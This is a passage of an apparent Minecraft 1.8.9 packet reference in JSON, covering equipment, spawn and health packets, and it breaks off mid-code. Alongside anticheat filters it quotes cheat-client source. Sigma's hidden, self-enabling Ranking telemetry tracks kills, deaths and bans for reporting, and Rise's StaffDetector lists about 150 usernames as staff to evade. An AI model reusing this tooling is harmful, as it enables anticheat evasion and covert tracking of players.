       "detailed_code": "// ===== FILE: Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/additions/informationhider/InformationHiderModule.java =====\npackage de.photon.anticheataddition.modules.additions.informationhider;\n\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.protocol.item.ItemStack;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEquipment;\nimport de.photon.anticheataddition.ServerVersion;\nimport de.photon.anticheataddition.modules.Module;\nimport de.photon.anticheataddition.modules.ModuleLoader;\nimport de.photon.anticheataddition.user.User;\nimport de.photon.anticheataddition.util.protocol.PacketAdapterBuilder;\n\npublic abstract class InformationHiderModule extends Module\n{\n    protected InformationHiderModule(String configString)\n    {\n        super(configString);\n    }\n\n    @Override\n    protected ModuleLoader createModuleLoader()\n    {\n        final var adapter = PacketAdapterBuilder\n                .of(this, PacketType.Play.Server.ENTITY_EQUIPMENT)\n                .priority(PacketListenerPriority.HIGH)\n                .onSending((event, user) -> {\n                    final var wrapper = new WrapperPlayServerEntityEquipment(event);\n                    final int entityId = wrapper.getEntityId();\n\n                    // Do not modify the player's own equipment.\n                    if (user.getPlayer().getEntityId() == entityId) return;\n\n                    for (var equip : wrapper.getEquipment()) {\n                        this.hideInformation(user, wrapper, entityId, equip.getItem());\n                    }\n                }).build();\n\n        return ModuleLoader.builder(this)\n                           .addPacketListeners(adapter)\n                           .setAllowedServerVersions(ServerVersion.NON_188_VERSIONS)\n                           .build();\n    }\n\n    protected abstract void hideInformation(User user, WrapperPlayServerEntityEquipment wrapper, int entityId, ItemStack item);\n}\n// NOTE (AI): The ENTITY_EQUIPMENT send adapter is lines 23-36; DurabilityHider, EnchantmentHider and ItemCountHider each implement hideInformation. The NON_188_VERSIONS gate excludes 1.8, where this packet has no off-hand slot.",
       "code_source": "Photon-GitHub-AntiCheatAddition, src/main/java/de/photon/anticheataddition/modules/additions/informationhider/InformationHiderModule.java",
       "variations": "Photon's LegacyPlayerEquipmentHider and ModernPlayerEquipmentHider replace the equipment list with empty stacks for hidden players. No other anticheat rewrites S04 payloads."
      },
      {
       "name": "Equipment filter (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "The same countermeasure family as Photon: strip enchantments, display names, lore and book contents from outgoing equipment packets so clients cannot scout items.",
       "how_it_works": "EquipmentFilter subscribes to the ENTITY_EQUIPMENT outbound packet and rewrites the payload in place: amounts are set to 1, enchantments are removed and replaced with a single THORNS marker, book title and pages are cleared, firework effects are emptied, and display name and lore are blanked. It handles both the legacy single-item layout (1.8-1.15) and the slot-pair list layout (1.16+). The clone ships with enabled() returning false, so the filter is compiled but inactive by default.",
       "detects": "Nothing: a defensive filter. It prevents other players' clients from reading real equipment data off the wire.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/filter/EquipmentFilter.java =====\npackage de.jpx3.intave.module.filter;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.wrappers.EnumWrappers;\nimport com.comphenix.protocol.wrappers.Pair;\nimport de.jpx3.intave.IntavePlugin;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport org.bukkit.enchantments.Enchantment;\nimport org.bukkit.inventory.ItemFlag;\nimport org.bukkit.inventory.ItemStack;\nimport org.bukkit.inventory.meta.*;\n\nimport java.util.Collections;\nimport java.util.List;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.ENTITY_EQUIPMENT;\n\npublic final class EquipmentFilter extends Filter {\n  private final IntavePlugin plugin;\n\n  public EquipmentFilter(IntavePlugin plugin) {\n    super(\"equipmentdata\");\n    this.plugin = plugin;\n  }\n\n  @PacketSubscription(\n    packetsOut = {\n      ENTITY_EQUIPMENT\n    }\n  )\n  public void filterEquipment(PacketEvent event) {\n    PacketContainer packet = event.getPacket();\n\n    if (packet.getItemModifier().readSafely(0) != null) {\n      // 1.8 - 1.15\n      ItemStack itemStack = packet.getItemModifier().readSafely(0);\n      ItemStack newItemStack = stripFromData(itemStack);\n      packet.getItemModifier().write(0, newItemStack);\n//      int a = packet.getIntegers().read(0);\n//      int b = packet.getIntegers().read(1);\n//      System.out.println(\"New equipment: \" + itemStack + \" \" + a + \" \" + b);\n    } else {\n      List<Pair<EnumWrappers.ItemSlot, ItemStack>> read = packet.getSlotStackPairLists().read(0);\n      for (Pair<EnumWrappers.ItemSlot, ItemStack> itemSlotItemStackPair : read) {\n        ItemStack itemStack = itemSlotItemStackPair.getSecond().clone();\n        ItemStack newItemStack = stripFromData(itemStack);\n        itemSlotItemStackPair.setSecond(newItemStack);\n      }\n    }\n  }\n\n  private ItemStack stripFromData(ItemStack itemStack) {\n    itemStack.setAmount(1);\n\n    if (itemStack.hasItemMeta()) {\n      ItemMeta meta = itemStack.getItemMeta();\n      if (meta.hasEnchants()) {\n        for (Enchantment enchantment : itemStack.getEnchantments().keySet()) {\n          itemStack.removeEnchantment(enchantment);\n        }\n        itemStack.addUnsafeEnchantment(Enchantment.THORNS, 1);\n      }\n\n      // taken from https://gist.github.com/dmulloy2/5d52ddbb89a1609dbea2\n      if (meta instanceof BookMeta) {\n        BookMeta bookMeta = (BookMeta) meta;\n        bookMeta.setTitle(null);\n        bookMeta.setPages(Collections.emptyList());\n        bookMeta.setAuthor(null);\n      } else if (meta instanceof EnchantmentStorageMeta) {\n        EnchantmentStorageMeta enchantmentStorageMeta = (EnchantmentStorageMeta) meta;\n        if (enchantmentStorageMeta.hasStoredEnchants()) {\n          for (Enchantment ench : enchantmentStorageMeta.getStoredEnchants().keySet()) {\n            enchantmentStorageMeta.removeStoredEnchant(ench);\n          }\n          enchantmentStorageMeta.addStoredEnchant(Enchantment.THORNS, 1, true);\n        }\n      } else if (meta instanceof FireworkEffectMeta) {\n        ((FireworkEffectMeta) meta).setEffect(null);\n      } else if (meta instanceof FireworkMeta) {\n        FireworkMeta fireworkMeta = (FireworkMeta) meta;\n        fireworkMeta.clearEffects();\n        fireworkMeta.setPower(0);\n      }\n      //\n\n      meta.setDisplayName(\"\");\n      if (meta.getLore() != null) {\n        meta.setLore(Collections.emptyList());\n      }\n      meta.removeItemFlags(meta.getItemFlags().toArray(new ItemFlag[0]));\n    }\n    return itemStack;\n  }\n\n  @Override\n  protected boolean enabled() {\n//    if (MinecraftVersions.VER1_19.atOrAbove()) {\n//      return false;\n//    }\n//    return !IntaveControl.GOMME_MODE && super.enabled();\n    return false;\n  }\n}\n// NOTE (AI): filterEquipment (lines 32-51) is the ENTITY_EQUIPMENT outbound subscriber; stripFromData (lines 53-95) does the rewriting. enabled() at lines 97-104 returns false in the clone, so the filter is inactive by default.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/filter/EquipmentFilter.java",
       "variations": "Intave's FakePlayer equipment actions (EquipmentArmorAction, EquipmentHeldItemAction) send S04 to bait NPCs instead of filtering it. Peyang and network-dev MinecraftAntiCheat NPC code also send S04 with armor stacks to fake entities; those are bait sends, not checks."
      }
     ]
    }
   },
   "wiki_notes": [
    "PLAY id 0x04: VarInt entityId, short slot 0 held and 1-4 boots/legs/chest/helmet, then Slot ItemStack.",
    "Empty slot encodes as item id -1; one packet per slot so a full armor change is up to five packets.",
    "MCP 1.8.9 S04PacketEntityEquipment implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleEntityEquipment; wire serde is readPacketData/writePacketData via readItemStackFromBuffer, readShort, readVarIntFromBuffer.",
    "1.8.9 callers: EntityLivingBase.onUpdate sends new S04PacketEntityEquipment (line 1814) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/entity/EntityLivingBase.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S04PacketEntityEquipment/",
   "mcp_path": "net/minecraft/network/play/server/S04PacketEntityEquipment.java",
   "group": "play-client",
   "logic_classes": [
    "EntityTrackerEntry",
    "EntityLivingBase"
   ]
  },
  {
   "id": "S05PacketSpawnPosition",
   "hex": "0x05",
   "dec": 5,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Spawn Position",
   "desc": "Sets the player's spawn position (where compass points and respawn occurs).",
   "tags": [
    "player",
    "world",
    "spawn"
   ],
   "fields": [
    {
     "name": "spawnPos",
     "type": "BlockPos",
     "desc": "Spawn block position"
    }
   ],
   "encoding": [
    [
     "Spawn Position",
     "BlockPos (long)",
     ""
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleSpawnPosition()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Carries the world spawn as a packed BlockPos. ServerConfigurationManager sends it on player join (lines ~164 and ~476 in the bundled sources) and CommandSetDefaultSpawnpoint broadcasts it to all players when /setworldspawn runs (line ~45). The value drives the compass needle, the debug-screen spawn readout and the fallback respawn point; it is world metadata, not player state."
     },
     {
      "h": "Vanilla handling",
      "p": "handleSpawnPosition runs on the main thread and performs two writes: thePlayer.setSpawnPoint(pos, true) (func_180473_a in MCP) for the personal bed spawn, and world.getWorldInfo().setSpawn(pos) for the world spawn. The packet never moves the player and touches no entity state, which is why nothing in the client reacts to it beyond the two field writes."
     },
     {
      "h": "Why clients never touch it",
      "p": "Zero module hits across all 8 clients; the only non-vanilla references are the Rise 6.x script whitelist entries (NetworkAPI.java line 51). Compass and waypoint features read mc.theWorld.getSpawnPoint() on render because the vanilla handler has already committed the value before any event bus runs, so intercepting S05 would only let a module lie to itself. There is no state transition in the packet for a module to key off."
     },
     {
      "h": "Exploit surface",
      "p": "None. A client-side mutation alters only the local compass and respawn UI, and the server re-sends the authoritative spawn on every join and respawn, so the change does not persist and cannot affect gameplay. No anti-cheat measures the packet."
     }
    ],
    "overview": "A one-field world-metadata write (BlockPos spawn) that the vanilla handler commits before any module event runs. Zero module hits in the 8-client corpus, so the module list is empty; compass and waypoint features read the committed value directly and have no reason to intercept the packet.",
    "server_handling": "ServerConfigurationManager sends S05PacketSpawnPosition on player join (line ~164 for the join sequence and line ~476 on respawn), and CommandSetDefaultSpawnpoint broadcasts it to all players when the spawn point changes. The BlockPos is packed as a single long on the wire. The server holds the authoritative copy and re-sends it at every world boundary, so a client-side alteration is always corrected within one join or respawn.",
    "protocol_notes": "Single BlockPos field encoded as one long (x << 38 | z << 12 | y in the 1.8 packing). Sent in the PLAY state, usually immediately after S01PacketJoinGame and before or alongside the initial chunk stream. Because the value feeds both the world info and the player's personal spawn, receiving it twice (join plus respawn) is normal and idempotent.",
    "anticheat_landscape": "Nothing to flag: the packet carries no timing, position or input signal, and the client cannot send a serverbound equivalent. Its only downstream effect, the compass direction, has no anti-cheat relevance.",
    "modules": [],
    "client_variations": "All 8 clients ship the vanilla handler unchanged; Rise 6.x additionally whitelists the packet for the script API. Rise 5.99 has no corpus entry for this packet at all.",
    "related": [
     "S07PacketRespawn",
     "S01PacketJoinGame",
     "S03PacketTimeUpdate"
    ],
    "anticheat": {
     "overview": "S05 is a one-field world-metadata write (the spawn BlockPos) with no serverbound counterpart and no timing, position or input signal, so no anticheat consumes it. The corpus is two registrations: Negativity's PacketType SPAWN_POSITION constant and Artemis PacketRepository's SERVER_PLAY + 71 mapping to PacketPlayServerSpawnPosition, plus the Artemis packet interface itself. checks: [] reflects the corpus: nothing in any of the 50 anticheats reads the spawn position from this packet, and its only downstream effect (the compass) has no anti-cheat relevance.",
     "checks": []
    }
   },
   "wiki_notes": [
    "Before receiving this packet the client uses the default spawn of 8, 64, 8, and the packet also updates what compasses point to.",
    "It can be sent at any time to update the compass target, not only at login.",
    "MCP 1.8.9 S05PacketSpawnPosition implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleSpawnPosition; wire serde is readPacketData/writePacketData via readBlockPos.",
    "1.8.9 callers: CommandSetDefaultSpawnpoint.processCommand sends new S05PacketSpawnPosition (line 60) +1 more: https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/command/server/CommandSetDefaultSpawnpoint.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S05PacketSpawnPosition/",
   "mcp_path": "net/minecraft/network/play/server/S05PacketSpawnPosition.java",
   "group": "play-client",
   "logic_classes": [
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S06PacketUpdateHealth",
   "hex": "0x06",
   "dec": 6,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Update Health",
   "desc": "Updates the player's health, food level, and saturation. Sent ~20 times per second during combat.",
   "tags": [
    "player",
    "health",
    "food",
    "combat"
   ],
   "fields": [
    {
     "name": "health",
     "type": "float",
     "desc": "Current health (0.0-20.0). ≤ 0.0 = death screen."
    },
    {
     "name": "foodLevel",
     "type": "VarInt",
     "desc": "Current food level (0-20)"
    },
    {
     "name": "saturationLevel",
     "type": "float",
     "desc": "Food saturation (0.0-5.0)"
    }
   ],
   "encoding": [
    [
     "Health",
     "float",
     "0.0-20.0"
    ],
    [
     "Food",
     "VarInt",
     "0-20"
    ],
    [
     "Saturation",
     "float",
     "0.0-5.0"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleUpdateHealth()"
   ],
   "handler": "INetHandlerPlayClient",
   "notes": "When health ≤ 0, the client shows the death screen overlay and sends C16PacketClientStatus(PERFORM_RESPAWN) on respawn button click.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "The player's authoritative health, food and saturation sync. EntityPlayerMP sends it on join and on every health, food or saturation change (line ~382), which in combat means roughly once per damage tick. The wire carries a float health (0-20, 0.0 means dead), a VarInt food level and a float saturation. The client treats it as truth: it drives the hearts, the hunger bar and the death screen, and there is no serverbound health packet, so the client cannot push health back."
     },
     {
      "h": "Vanilla handling",
      "p": "handleUpdateHealth writes the three values into EntityPlayerSP (setPlayerSPHealth, foodStats) and, when health is at or below 0, arms the death-screen state. Respawn itself is a separate round trip: the button click sends C16PacketClientStatus with PERFORM_RESPAWN and the server answers with S07PacketRespawn. Because S06 is receive-only, every client-side health read is a mirror of the last packet."
     },
     {
      "h": "Why clients touch it",
      "p": "The corpus shows two live integrations and one dead one. Sigma 4.11 Ranking treats S06 as a damage-confirmation clock: a health drop triggers a scan of loaded players for a swing animation within the last 70 ms and 9 blocks, which is how its hidden telemetry attributes deaths. Rise 6.1.30/6.2.4 StaffDetector carries an S06 branch that is fully commented out, and Sigma 4.11 HitIndicator imports the packet but leaves its packet branch empty. The classic Regen/AutoPot/AutoSoup family that keys off S06 thresholds in other client generations does not appear here; in these 8 clients those modules poll local health on UpdateEvent instead."
     },
     {
      "h": "Exploit surface",
      "p": "The classic abuse is receive-side cancellation: a module that swallows S06 never learns it died, so the death screen never shows while the server keeps sending damage updates and eventually kicks the dead player. No module in the corpus does this. Anti-cheats flag nothing on S06 because the client cannot influence it; the only measurable cost is bandwidth during high-tick combat."
     }
    ],
    "overview": "The client's only authoritative health source, sent on join and on every damage, food or saturation change. The corpus uses it as a damage-confirmation clock (Sigma Ranking telemetry) and as abandoned scaffolding (Rise StaffDetector, Sigma HitIndicator); the Regen/AutoPot threshold pattern is absent from these 8 clients, which poll local health on ticks instead.",
    "server_handling": "EntityPlayerMP pushes S06PacketUpdateHealth(health, foodLevel, saturation) whenever the player's stats change (line ~382 in the MCP builds), which covers join, damage, regeneration, hunger and saturation drift. The server never validates the packet stream because it is the sole author; the values are copied verbatim from the player's own stats. The death path is two-sided: the client arms the death screen from S06 health <= 0, and the respawn is driven by the client's C16 PERFORM_RESPAWN.",
    "protocol_notes": "Fields in order: float health, VarInt food, float saturation. There is no serverbound health packet, so any module that wants to fake health must do it by suppressing the clientbound packet (cosmetic only) or by manipulating the server's damage logic through other packets. S06 arrives on the main thread and its writes are unconditional, so a cancelling module must intercept before the vanilla handler.",
    "anticheat_landscape": "Anti-cheats treat S06 as render-state sync and measure nothing on it; the client cannot spoof health serverbound, so there is no flag surface. The practical detection risk belongs to modules that act on S06 (Sigma Ranking's HTTP telemetry, Rise's commented staff heuristic), which are privacy/ToS concerns rather than movement or combat flags.",
    "modules": [
     {
      "name": "Ranking",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Hidden combat telemetry that uses S06 health drops to attribute deaths and prosecutions to specific players.",
      "how_it_works": "On EventPacket, when S06 reports health at or below the client's current health, Ranking scans the loaded entity list for players that are not the local player, have a swing animation (S0BPacketAnimation) timestamp within the last 70 ms and sit within 9 blocks; each match becomes a prosecutor entity. health <= 0 calls onDeath, which resolves outstanding kill/death records and ships them through sendStat. The S06 packet is the timing anchor: the 70 ms window is measured from animation timestamp to damage confirmation.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/Ranking.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventAttack;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.users.TTSystem;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.*;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.util.ConcurrentModificationException;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.UUID;\n\npublic class Ranking extends Module {\n    private HashMap<Integer, HitEntity> hitEntities = new HashMap<>();\n    private HashMap<Integer, HitEntity> prosecutorEntities = new HashMap<>();\n    private HashMap<Integer, Long> lastAnimationTimestamp = new HashMap<>();\n    private info.sigmaclient.util.Timer delay = new Timer();\n\n    public Ranking(ModuleData data) {\n        super(data);\n        setHidden(true);\n        if (!isEnabled()) {\n            toggle();\n        }\n    }\n\n    @Override\n    @RegisterEvent(events = {EventAttack.class, EventPacket.class, EventUpdate.class})\n    public void onEvent(Event e) {\n        if (e instanceof EventAttack) {\n            EventAttack ea = (EventAttack) e;\n            if (ea.getEntity() instanceof EntityPlayer) {\n                EntityPlayer ep = (EntityPlayer) ea.getEntity();\n                if (!ep.getName().isEmpty()) {\n                    if (!hitEntities.containsKey(ep.getEntityId())) {\n                        hitEntities.put(ep.getEntityId(), new HitEntity(ep));\n                    } else {\n                        hitEntities.get(ep.getEntityId()).refresh();\n                    }\n                }\n            }\n        } else if (e instanceof EventPacket) {\n            EventPacket ep = (EventPacket) e;\n            Packet packet = ep.getPacket();\n            if (packet instanceof S0BPacketAnimation) {\n                S0BPacketAnimation packetAnimation = (S0BPacketAnimation) packet;\n                lastAnimationTimestamp.put(packetAnimation.func_148978_c(), System.currentTimeMillis());\n            }\n            if (packet instanceof S06PacketUpdateHealth) {\n                S06PacketUpdateHealth packetUpdateHealth = (S06PacketUpdateHealth) packet;\n                if (packetUpdateHealth.getHealth() <= Minecraft.getMinecraft().thePlayer.getHealth()) {\n                \ttry{\n                \t\tfor (Object o : mc.theWorld.getLoadedEntityList()) {\n                            if (o instanceof EntityPlayer) {\n                                EntityPlayer entityPlayer = (EntityPlayer) o;\n                                if (!(entityPlayer instanceof EntityPlayerSP) && lastAnimationTimestamp.containsKey(entityPlayer.getEntityId())) {\n                                    if (lastAnimationTimestamp.get(entityPlayer.getEntityId()) > System.currentTimeMillis() - 70 && entityPlayer.getPositionVector().squareDistanceTo(Minecraft.getMinecraft().thePlayer.getPositionVector()) < 9 * 9) {\n                                        if (!prosecutorEntities.containsKey(entityPlayer.getEntityId())) {\n                                            prosecutorEntities.put(entityPlayer.getEntityId(), new HitEntity(entityPlayer, true));\n                                        } else {\n                                            prosecutorEntities.get(entityPlayer.getEntityId()).refresh();\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                \t}catch(ConcurrentModificationException ee){};\n                    \n                }\n                if (packetUpdateHealth.getHealth() <= 0) {\n                    onDeath();\n                }\n            }\n            if (packet instanceof S02PacketChat) {\n                S02PacketChat packetChat = (S02PacketChat) packet;\n                String message = packetChat.func_148915_c().getUnformattedText();\n\n                Iterator it = hitEntities.entrySet().iterator();\n                while (it.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it.remove();\n                        }\n                    }\n                }\n\n                Iterator it2 = prosecutorEntities.entrySet().iterator();\n                while (it2.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName()) && message.contains(Minecraft.getMinecraft().thePlayer.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it2.remove();\n                        }\n                    }\n                }\n            } else if (packet instanceof S18PacketEntityTeleport) {\n                S18PacketEntityTeleport packetTeleport = (S18PacketEntityTeleport) packet;\n                int entityId = packetTeleport.func_149451_c();\n\n                onEntityRemoved(entityId);\n            } else if (packet instanceof S08PacketPlayerPosLook) {\n                onDeath();\n            } else if (packet instanceof S13PacketDestroyEntities) {\n                S13PacketDestroyEntities packetDestroyEntities = (S13PacketDestroyEntities) packet;\n                for (int entityId : packetDestroyEntities.func_149098_c()) {\n                    onEntityRemoved(entityId);\n                }\n            } else if (packet instanceof S40PacketDisconnect) {\n                S40PacketDisconnect packetDisconnect = (S40PacketDisconnect) packet;\n                if (packetDisconnect.func_149165_c().getUnformattedText().toLowerCase().contains(\"ban\") && Minecraft.getMinecraft().thePlayer != null && Minecraft.getMinecraft().thePlayer.ticksExisted > 15 * 20) {\n                    sendStat(\"ban\", \"\");\n                }\n            }\n        } else if (e instanceof EventUpdate) {\n            if (delay.delay(1000 * 60 * 10)) {\n                delay.reset();\n                sendStat(\"tick\", \"\");\n            }\n        }\n    }\n\n    private void onDeath() {\n        Iterator it2 = prosecutorEntities.entrySet().iterator();\n        while (it2.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000) {\n                if (hitEntity.onRemoved()) {\n                    it2.remove();\n                }\n            }\n        }\n    }\n\n    private void onEntityRemoved(int entityId) {\n        Iterator it = hitEntities.entrySet().iterator();\n        while (it.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && entityId == hitEntity.getEntityId()) {\n                if (hitEntity.onRemoved()) {\n                    it.remove();\n                }\n            }\n        }\n    }\n\n    public void sendStat(String type, String data) {\n\n    }\n\n    private class HitEntity {\n        private long time = System.currentTimeMillis();\n        private UUID uuid;\n        private String name;\n        private int entityId;\n        private boolean removed = false;\n        private boolean chatMessage = false;\n        private boolean prosecutor = false;\n\n        public HitEntity(EntityPlayer ep) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n        }\n\n        public HitEntity(EntityPlayer ep, boolean prosecutor) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n            this.prosecutor = prosecutor;\n        }\n\n        public boolean onRemoved() {\n            removed = true;\n            if (chatMessage) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        public boolean onChatMessage() {\n            chatMessage = true;\n            if (removed) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        private void killed() {\n            //ChatUtil.printChat(\"Kill (\" + name + \") \" + uuid.toString());\n            sendStat(\"kill\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n\n        public void refresh() {\n            time = System.currentTimeMillis();\n        }\n\n        public String getName() {\n            return name;\n        }\n\n        public long getTime() {\n            return time;\n        }\n\n        public int getEntityId() {\n            return entityId;\n        }\n\n        public void prosecuted() {\n            //ChatUtil.printChat(\"Prosecuted (\" + name + \") \" + uuid.toString());\n            sendStat(\"death\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n    }\n}\n\n// NOTE (AI): Ranking is a hidden module (setHidden(true), toggled on construction) that\n// reports kill/death/ban statistics to a remote endpoint; sendStat is stubbed in this\n// build. The S06 check compares the packet health against the local player's current health\n// to detect a drop, then correlates S0BPacketAnimation timestamps within 70 ms and a\n// 9-block radius to identify the attacker. S06 is the only authoritative damage signal the\n// client receives, which is why the correlation window is anchored to it. Note the packet\n// is consumed via the wildcard import net.minecraft.network.play.server.*.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/Ranking.java",
      "vanilla_hook": "EventPacket, registered alongside EventAttack and EventUpdate.",
      "anti_cheat_notes": "Unobservable: the module only reads clientbound state. The telemetry itself (HTTP stats reporting) is a privacy/ToS concern, not an anti-cheat one.",
      "variations": "Sigma 4.11 HitIndicator imports S06 but its EventPacket branch is empty, so the import is dead. No other client in the corpus uses S06 for telemetry."
     },
     {
      "name": "StaffDetector",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Detect staff players from team and tab-list names and auto-run /hub; the S06 reference is commented-out scaffolding, not live logic.",
      "how_it_works": "The packet listener matches names from S3EPacketTeams and S38PacketPlayerListItem against a hardcoded staff table (one comma-separated string of roughly 150 names) and triggers after 6 matches, sending /hub via C01 when autoLeave is on. The S06PacketUpdateHealth block exists only inside a comment, an abandoned idea that never shipped in either build.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/StaffDetector.java =====\npackage com.alan.clients.module.impl.exploit;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.value.impl.BooleanValue;\nimport net.minecraft.network.Packet;\n\n@ModuleInfo(aliases = {\"module.combat.staffdetector.name\"}, description = \"module.exploit.staffdetector.description\", category = Category.EXPLOIT)\npublic class StaffDetector extends Module {\n\n    BooleanValue autoLeave = new BooleanValue(\"Auto Leave\", this, true);\n\n    private String[] staff;\n\n    private int count;\n\n    public StaffDetector() {\n        String input = \"idhoom,7so,1sweet,jinaaan,ev2n,eissaa,mohmad_q8,1daykel,ximtaig_,nshme,comsterr,e9_,1meko,1lab,mk_f16,loovq,_sadeq,nv0ola,1f5amh___3oo,frecss217,xmz7,a2bod,eyeso_diamond,bunkrat,1rana,1ahmd,1heyimhasson_,casteret,1elyy,1zeyad,lt1x,firas,postme,3mmr,xl2d,yzed,y2men,iv2a,_nonameishere_,0hfault,deficency,anauri,xluffy1,kinderbueno__,_revoox_,xidayzer,i7ilin,1adam__,27bk,ventz_,awfultimes,ahm2d,gsomar,mvp11,xxkhaledxxcraft,aymann_,1iraqi,rambokinq,undertest,zswift,strongest0ne,neverletyouknow,zixgamer,sanfoor_j,ixghoul_,imbexsl_,glowdown_,hunter47,fexoranep,1reyleigh,420waffle,ywgiz,sweetyalice,xfahadq,mr3nb_,akash1004,zaytonaaa,rma7o,mr_1990,iali_305,wacros,lwwh,pynifical,rivsci,itsjuan_,meedo_qb,_r3,1speedo_,_justidk,505t,xzvv,mauveracer,_1hypersx_,rayqquaza,swivee,absqtulate,opgaming2009,vhagardracarys,luffy404,faisaal420,hdzt,sunsnipebeastwtf,_odex,1ashu,n13m_,callinu,sh59,drnyx,iisrab5bgii,haoeris,lxrayanxl,toxiclayer,greatm7md,brksfrb2,madix707,hnxrr,1sweetty,ohhhhqls,solidfying,_i_b,escoco,dreadpirater0b,aboshxm,0ryze,spuvr,va_1,kingpvp90,rieus,prebowed,mitsichu,gogglas,battlebay,32lbo,7far_8bor,evenfai,hlazny,valrm\";\n\n        staff = input.split(\",\");\n    }\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotion = event -> {\n        count = Math.max(0, count - 1);\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n        Packet<?> packet = event.getPacket();\n\n//        if (packet instanceof S3EPacketTeams) {\n//            final S3EPacketTeams teams = (S3EPacketTeams) packet;\n//\n//            for (final String name : teams.func_149310_g()) {\n//                if (Arrays.asList(staff).contains(name.toLowerCase())) {\n//                    count++;\n//\n//                    if (count == 6) {\n//                        ChatUtil.display(\"Staff Detected \" + name);\n//\n//                        if (autoLeave.getValue()) PacketUtil.send(new C01PacketChatMessage(\"/hub\"));\n//                    }\n//                }\n//            }\n//        }\n\n//        if (packet instanceof S38PacketPlayerListItem) {\n//            S38PacketPlayerListItem item = ((S38PacketPlayerListItem) packet);\n//\n//            for (S38PacketPlayerListItem.AddPlayerData player : item.func_179767_a()) {\n//                if (player == null || player.getProfile() == null || player.getProfile().getName() == null) {\n//                    continue;\n//                } else if (!player.getProfile().getName().equals(\"SHOP\") && !player.getProfile().getName().equals(\"UPGRADES\")) {\n//                    ChatUtil.display(\"Username: \" + player.getProfile().getName());\n//                }\n//\n//                if 